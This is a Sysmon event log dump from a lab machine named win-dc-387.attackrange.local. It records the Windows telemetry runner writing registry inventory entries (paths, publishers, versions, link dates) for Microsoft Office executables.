13241300x800000000000000043587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\fltldr.exe|3fca25c5b23cb198\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\fltldr.exe 13241300x800000000000000043586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\filecompare.exe|eb3b84e79f3ffde4\BinProductVersion16.0.55555.10000 13241300x800000000000000043585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\filecompare.exe|eb3b84e79f3ffde4\LinkDate01/31/2021 23:05:48 13241300x800000000000000043584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\filecompare.exe|eb3b84e79f3ffde4\Publishermicrosoft corporation 13241300x800000000000000043583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\filecompare.exe|eb3b84e79f3ffde4\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\filecompare.exe 13241300x800000000000000043582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excelcnv.exe|f227d29286aef5b1\BinProductVersion16.0.13801.20864 13241300x800000000000000043581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excelcnv.exe|f227d29286aef5b1\LinkDate08/05/2021 03:38:49 13241300x800000000000000043580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excelcnv.exe|f227d29286aef5b1\Publishermicrosoft corporation 13241300x800000000000000043579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excelcnv.exe|f227d29286aef5b1\LowerCaseLongPathc:\program files\microsoft office\root\office16\excelcnv.exe 13241300x800000000000000043578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excel.exe|39225495ceb51fb7\BinProductVersion16.0.13801.20864 13241300x800000000000000043577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excel.exe|39225495ceb51fb7\LinkDate08/05/2021 04:01:48 13241300x800000000000000043576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excel.exe|39225495ceb51fb7\Publishermicrosoft corporation 13241300x800000000000000043575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\excel.exe|39225495ceb51fb7\LowerCaseLongPathc:\program files\microsoft office\root\office16\excel.exe 13241300x800000000000000043574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dw20.exe|12b87ce673fee545\BinProductVersion16.0.13801.20442 13241300x800000000000000043573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dw20.exe|12b87ce673fee545\LinkDate04/01/2021 21:19:36 13241300x800000000000000043572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dw20.exe|12b87ce673fee545\Publishermicrosoft corporation 13241300x800000000000000043571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dw20.exe|12b87ce673fee545\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\dw\dw20.exe 13241300x800000000000000043570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dbcicons.exe|8bf455c5b37991bd\BinProductVersion16.0.13801.20840 13241300x800000000000000043569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dbcicons.exe|8bf455c5b37991bd\LinkDate07/29/2021 06:54:35 13241300x800000000000000043568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dbcicons.exe|8bf455c5b37991bd\Publishermicrosoft corporation 13241300x800000000000000043567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\dbcicons.exe|8bf455c5b37991bd\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\dbcicons.exe 13241300x800000000000000043566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\databasecompare.|d0717b3f5b185152\BinProductVersion16.0.55555.10000 13241300x800000000000000043565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\databasecompare.|d0717b3f5b185152\LinkDate06/06/2073 14:50:40 13241300x800000000000000043564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\databasecompare.|d0717b3f5b185152\Publishermicrosoft corporation 13241300x800000000000000043563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\databasecompare.|d0717b3f5b185152\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\databasecompare.exe 13241300x800000000000000043562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.showhelp.|aeead2886fb6295a\BinProductVersion16.0.13801.20008 13241300x800000000000000043561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.showhelp.|aeead2886fb6295a\LinkDate02/02/2021 02:30:14 13241300x800000000000000043560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.showhelp.|aeead2886fb6295a\Publishermicrosoft corporation 13241300x800000000000000043559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.showhelp.|aeead2886fb6295a\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\common.showhelp.exe 13241300x800000000000000043558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|8e5b8f8cae900bd\BinProductVersion16.0.13628.20000 13241300x800000000000000043557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|8e5b8f8cae900bd\LinkDate08/26/2049 00:07:38 13241300x800000000000000043556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|8e5b8f8cae900bd\Publishermicrosoft corporation 13241300x800000000000000043555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|8e5b8f8cae900bd\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\common.dbconnection64.exe 13241300x800000000000000043554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|4bf898c15eaab915\BinProductVersion16.0.13628.20000 13241300x800000000000000043553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|4bf898c15eaab915\LinkDate05/23/2075 05:10:07 13241300x800000000000000043552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|4bf898c15eaab915\Publishermicrosoft corporation 13241300x800000000000000043551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\common.dbconnect|4bf898c15eaab915\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\dcf\common.dbconnection.exe 13241300x800000000000000043550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\cnfnot32.exe|d12e39d78b8f7f17\BinProductVersion16.0.13801.20864 13241300x800000000000000043549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\cnfnot32.exe|d12e39d78b8f7f17\LinkDate08/05/2021 03:31:00 13241300x800000000000000043548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\cnfnot32.exe|d12e39d78b8f7f17\Publishermicrosoft corporation 13241300x800000000000000043547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\cnfnot32.exe|d12e39d78b8f7f17\LowerCaseLongPathc:\program files\microsoft office\root\office16\cnfnot32.exe 13241300x800000000000000043546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\clview.exe|2e549e1ffb2d5a44\BinProductVersion16.0.13801.20864 13241300x800000000000000043545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\clview.exe|2e549e1ffb2d5a44\LinkDate08/05/2021 03:32:57 13241300x800000000000000043544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\clview.exe|2e549e1ffb2d5a44\Publishermicrosoft corporation 13241300x800000000000000043543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\clview.exe|2e549e1ffb2d5a44\LowerCaseLongPathc:\program files\microsoft office\root\office16\clview.exe 13241300x800000000000000043542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvlp.exe|5c890c66f7320a9b\BinProductVersion5.2.158.0 13241300x800000000000000043541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvlp.exe|5c890c66f7320a9b\LinkDate04/09/2020 03:00:39 13241300x800000000000000043540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvlp.exe|5c890c66f7320a9b\Publishermicrosoft corporation 13241300x800000000000000043539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvlp.exe|5c890c66f7320a9b\LowerCaseLongPathc:\program files\microsoft office\root\client\appvlp.exe 13241300x800000000000000043538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|dc36ed799a92e521\BinProductVersion10.0.19041.773 13241300x800000000000000043537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|dc36ed799a92e521\LinkDate02/22/2093 06:54:23 13241300x800000000000000043536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|dc36ed799a92e521\Publishermicrosoft corporation 13241300x800000000000000043535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|dc36ed799a92e521\LowerCaseLongPathc:\program files\microsoft office\root\client\appvdllsurrogate32.exe 13241300x800000000000000043534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|8207ddc3bc40ae21\BinProductVersion10.0.19041.891 13241300x800000000000000043533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|8207ddc3bc40ae21\LinkDate10/25/1975 07:09:20 13241300x800000000000000043532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|8207ddc3bc40ae21\Publishermicrosoft corporation 13241300x800000000000000043531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|8207ddc3bc40ae21\LowerCaseLongPathc:\program files\microsoft office\root\client\appvdllsurrogate.exe 13241300x800000000000000043530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|4a3dbcbfcf815bda\BinProductVersion10.0.19041.773 13241300x800000000000000043529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|4a3dbcbfcf815bda\LinkDate10/25/1975 07:09:20 13241300x800000000000000043528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|4a3dbcbfcf815bda\Publishermicrosoft corporation 13241300x800000000000000043527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appvdllsurrogate|4a3dbcbfcf815bda\LowerCaseLongPathc:\program files\microsoft office\root\client\appvdllsurrogate64.exe 13241300x800000000000000043526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|ca17c1da2ae73545\BinProductVersion16.0.13801.20084 13241300x800000000000000043525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|ca17c1da2ae73545\LinkDate02/05/2021 06:05:37 13241300x800000000000000043524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|ca17c1da2ae73545\Publishermicrosoft corporation 13241300x800000000000000043523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|ca17c1da2ae73545\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\appsharinghookcontroller.exe 13241300x800000000000000043522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|c43916d5d05bf0ab\BinProductVersion16.0.13801.20084 13241300x800000000000000043521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|c43916d5d05bf0ab\LinkDate02/05/2021 06:14:38 13241300x800000000000000043520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|c43916d5d05bf0ab\Publishermicrosoft corporation 13241300x800000000000000043519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\appsharinghookco|c43916d5d05bf0ab\LowerCaseLongPathc:\program files\microsoft office\root\office16\appsharinghookcontroller64.exe 13241300x800000000000000043518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b4fb926f9d8f82ed\BinProductVersion16.0.13801.20842 13241300x800000000000000043517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 